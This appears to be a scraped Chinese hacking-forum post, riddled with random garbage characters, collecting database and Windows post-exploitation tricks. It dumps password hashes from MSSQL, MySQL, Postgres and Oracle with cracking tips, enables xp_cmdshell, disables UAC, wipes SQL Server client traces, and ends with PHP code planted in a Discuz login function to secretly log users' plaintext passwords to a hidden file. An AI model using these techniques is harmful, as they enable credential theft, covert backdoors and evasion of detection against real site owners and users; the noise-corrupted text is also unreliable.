8 d0 a; [! b9 @) P$ {7 K' gSELECT password from master.dbo.sysxlogins where name='sa'; ~. k9 O. p( q* l [; l
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341# V+ l" T* ?: l8 M a& O/ F
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A# B' |6 u5 `, P1 a f1 D. M. b
9 z: u0 F+ U" Z* M" o
0×0100- constant header" b/ n, p0 E: g6 v
34767D5C- salt
3 [- V6 k9 v" ]( s7 w9 X0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash! |5 q8 U: g! E' T! ]8 I6 O; f' Z
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash. D9 b5 S3 G# f3 ?+ H% X* p4 s
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash
* ~+ E; j$ L% m) cSQL server 2005:-
! w) S8 B4 w# k3 @6 [SELECT password_hash FROM sys.sql_logins where name='sa'
+ i5 U5 e3 P+ \! W j8 x# T! t5 k6 _0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F- J4 f( P: s2 W% y6 x9 [
0×0100- constant header& W3 |, G- M4 R) I
993BF231-salt
* ^5 i+ D6 O$ H C: q5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
/ z- Y" F& z' @0 Ecrack case sensitive hash in cain, try brute force and dictionary based attacks.
! _! D3 e2 [9 r3 b( h' {- a
9 e3 I! R% D" v1 Z7 P7 d' m0 hupdate:- following bernardo’s comments:-
- T+ f# c# X& l0 muse function fn_varbintohexstr() to cast password in a hex string./ C6 y. u5 _5 i* ? I3 \
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins/ E6 O3 ~' ~" c6 U
4 |) s) G, |) I9 X/ `: y! H6 ^MYSQL:-
( B7 V! \8 l2 f1 V
( O: U0 i9 q4 ~* G8 ]( HIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
+ P: ~0 h$ J* }9 d, l/ |0 X, B6 E% Q
) `- L5 g/ F, l! f*mysql < 4.1
" ~% z6 W: @. C4 e) L9 ~# u+ ^+ h1 }: V- H& ^9 \; U u1 W- n
mysql> SELECT PASSWORD(‘mypass’);% Y% {/ j% Q2 t) `0 j
+——————–+* s5 j8 b# f2 `% |1 X+ v
| PASSWORD(‘mypass’) |
) S2 o1 W" G- A4 V5 O+——————–+
" q6 I# G) K0 j( F) m# ]: O| 6f8c114b58f2ce9e | F0 s+ ?% z4 }# I* A% }2 I
+——————–+& k- F( T% L' h. U: F/ S
~7 u+ [/ T8 Y) a5 D8 J9 u/ z*mysql >=4.1
6 W3 W, G$ t$ ^* O/ B2 z( L
o6 t8 t0 D" y7 ?( V" Umysql> SELECT PASSWORD(‘mypass’);* ?7 C# r( ^0 C) b# j1 t6 X" k6 z
+——————————————-+
6 c2 R1 H1 A! p' U' M| PASSWORD(‘mypass’) |
# u. G1 P1 x& C) N+——————————————-+; m# m j% a4 `/ E; A* w
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
& ]7 y1 p$ q k/ y( P! F9 |8 ~+——————————————-+
3 t6 c. E5 V4 H7 ^
; \$ |+ ]9 m' P; ] dSelect user, password from mysql.user
/ m( k- I/ \& Q! P+ tThe hashes can be cracked in ‘cain and abel’
" m G. {8 O" S8 ?/ S% Y2 o: E; ~6 s. t
Postgres:-
3 v1 _5 |% {1 @: x% `( cPostgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)' y; g! B: N, ~; V
select usename, passwd from pg_shadow;* u! N! O5 U. y5 N; V9 Z- `1 S
usename | passwd
" f( w& n2 X$ R5 c$ m$ {. @; B——————+————————————-
' ^& m6 a! o3 G1 L; K; p" j P) _testuser | md5fabb6d7172aadfda4753bf0507ed4396
9 ^6 q1 d0 E+ F* P8 g9 j% |use mdcrack to crack these hashes:-5 u w6 e& \1 B4 `5 d
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396) e/ B; C' h9 C$ l+ G# O4 U
- F3 F, q; T+ G, x, Q, V k
Oracle:-
4 k% Y& G. ~/ S9 q# P0 xselect name, password, spare4 from sys.user$! F! O% b$ N4 t9 a
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g. s1 @$ L7 ~6 L
More on Oracle later, i am a bit bored….
& m5 K0 b! c& }7 a3 r+ [0 k+ N, T+ U" J
5 R2 h, X8 s+ E" o9 ]. ~* J1 z$ i
在sql server2005/2008中开启xp_cmdshell: C+ P: V5 Y' @& \, u3 Y
-- To allow advanced options to be changed.
" \$ X/ Z( c; k( L" lEXEC sp_configure 'show advanced options', 1& h1 r* z! e# L# }2 R
GO6 ]% c2 |2 }$ X' {6 k3 C* W
-- To update the currently configured value for advanced options.; `7 l0 M+ j6 v
RECONFIGURE3 G1 O; { w4 x0 j
GO' l$ n0 Y0 W, J; y W# J9 K
-- To enable the feature.
( a3 a4 x* G7 REXEC sp_configure 'xp_cmdshell', 19 K2 k% R, B" ]7 I) o- J
GO3 i; W6 W2 [, J, a0 A
-- To update the currently configured value for this feature.( Y% i r9 q$ i$ t+ l X3 Q1 P5 H
RECONFIGURE
: b' N4 P( ~) k* j+ U/ LGO
3 B" S2 |/ X% ]+ ~SQL 2008 server日志清除,在清楚前一定要备份。" _5 R ]. a, r; n2 f. I
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
5 K( ~! j) I0 ^; YX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
s. x1 o& C) S
- ~" ^$ z, x) s! }0 S# f对于SQL Server 2008以前的版本:& b; ?7 e5 k3 {- }
SQL Server 2005:# l2 _" a1 L6 ~1 z' e. D
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
# C4 L {. m3 J( r5 W* }SQL Server 2000:
* d- ~! K6 c3 F" o$ U清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。; P6 s! I n' N9 `; }& h
1 S4 R6 O% K8 d5 _0 r. E- p6 P" S A本帖最后由 simeon 于 2013-1-3 09:51 编辑5 F6 d: M+ D6 {" z) N" z# b
; F9 i; |; T' W* p0 R
# S4 u0 W( ~7 X) @
windows 2008 文件权限修改5 I1 G# ]" { U9 t
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
$ ^4 d- g, Z5 h* J. @2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
8 E- k* N( F% R) ]2 [' o# J一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,0 T8 v8 j7 k" V- g, K2 {4 P
8 H9 o7 b5 Z: Y$ Z) U# ^) a) m& m3 tWindows Registry Editor Version 5.00
, P9 z" ^+ b. V2 c% u8 h. C0 t[HKEY_CLASSES_ROOT\*\shell\runas]
. L+ f7 j! @$ I8 p: N@="管理员取得所有权"
! a8 Q; G9 U9 g"NoWorkingDirectory"=""0 P7 F2 m/ t, P$ P. Q4 J
[HKEY_CLASSES_ROOT\*\shell\runas\command]8 ]0 [! X) s. G$ ^9 l) Z
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"7 Y4 r, P f5 a G2 R5 p
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"" M* S/ a8 ?, H' O; Y
[HKEY_CLASSES_ROOT\exefile\shell\runas2]
- k5 O+ g* L6 T% @@="管理员取得所有权"9 k8 ]1 W4 V. i" H! C8 ^, M: x
"NoWorkingDirectory"=""
* g N3 r/ ^2 K4 { }+ A% w% B0 g[HKEY_CLASSES_ROOT\exefile\shell\runas2\command] R0 F6 x( D# S
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"# a& \/ u" a, k% X8 Z1 j
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"" ~" P6 T* W) s( u. b9 Q* H: h
j( j/ F) A; x: E
[HKEY_CLASSES_ROOT\Directory\shell\runas]) P q" r. a1 u/ ^: g
@="管理员取得所有权"
; C- \4 ~, y$ Y* E"NoWorkingDirectory"="": L9 k+ d# s4 f6 y7 e
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
, f/ c$ R' H. O* ?9 m I. B, M@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
0 ?: D$ w% Q& f. W"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"# a, \/ H, i: n
6 i, n* @" i! J; ^# x) v. S
% a* y: S/ T; |8 a% D+ g- ]win7右键“管理员取得所有权”.reg导入
! p! Z* A$ p) D7 T二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,
6 r8 v* J* x! {: O4 p* o. _5 V9 I1、C:\Windows这个路径的“notepad.exe”不需要替换4 n v1 f% W, T I* b
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
. F2 X) s1 z7 v* e! h0 O0 ~, a3、四个“notepad.exe.mui”不要管3 f2 `. T+ |: K
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和
7 ] }' N' p+ T+ N' V. w. bC:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”1 \4 b4 C3 Y# h
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,) |- \7 z8 ?% j5 N" q0 T* s8 S+ [. y
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。
+ l: W0 O. |3 P" S; |windows 2008中关闭安全策略: * _7 k# d" m2 ~3 ]5 t
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
1 [- Q N" ]9 K# X) t修改uc_client目录下的client.php 在* v) P& p9 Y" u% v
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {% r V, g& {/ t8 p' E9 K7 _
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php# q3 a( D9 S6 g" J7 G1 m
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
% {4 c$ t7 H Q6 e' w4 S( zif(getenv('HTTP_CLIENT_IP')) {# x/ g0 w2 N* s G; |
$onlineip = getenv('HTTP_CLIENT_IP');
& B! K- P" Q' c) \& H( @4 H} elseif(getenv('HTTP_X_FORWARDED_FOR')) {- n$ P( _# S' t
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
J% M. {4 k! K& m3 U} elseif(getenv('REMOTE_ADDR')) {
( p2 G2 c9 y! a7 _ @4 V0 S$onlineip = getenv('REMOTE_ADDR');) d+ Y, `/ N7 c x
} else {
% F" @1 C' P8 ^* V1 j3 R$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
$ K- ^9 T: A8 n; n1 V2 R6 B}
" @* j- _9 u' W/ e& ?6 m $showtime=date("Y-m-d H:i:s");
# E; S; S/ }2 @9 x) o2 ^ $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
: r1 p/ b# @) ~- T2 X* c3 b $handle=fopen('./data/cache/csslog.php','a+');2 ]! l' k/ b$ _9 z+ {% t
$write=fwrite($handle,$record); |